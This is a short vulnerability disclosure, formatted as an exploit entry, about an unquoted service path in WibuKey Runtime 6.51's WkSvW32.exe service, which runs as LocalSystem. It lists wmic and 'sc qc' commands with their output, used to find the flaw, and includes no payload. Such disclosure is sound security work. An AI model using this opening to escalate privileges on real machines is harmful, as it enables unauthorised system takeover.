WibuKey Runtime 6.51 – ‘WkSvW32.exe’ Unquoted Service Path

# Exploit Title: WibuKey Runtime 6.51 - 'WkSvW32.exe' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 13-06-2021
# Vendor Homepage: https://www.wibu.com
# Software Links: https://www.wibu.com/us/support/user/downloads-user-software/file/download/5792.html
# Tested Version: 6.51
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
WIBU-KEY Server
        WkSvW32.exe                               C:\PROGRAM FILES
(X86)\WIBUKEY\SERVER\WkSvW32.exe
                                   Auto

C:\Users\IEUser>sc qc WkSvW32.exe
SC QueryServiceConfig SUCCESS

SERVICE_NAME: WkSvW32.exe
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\PROGRAM FILES
(X86)\WIBUKEY\SERVER\WkSvW32.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : WIBU-KEY Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem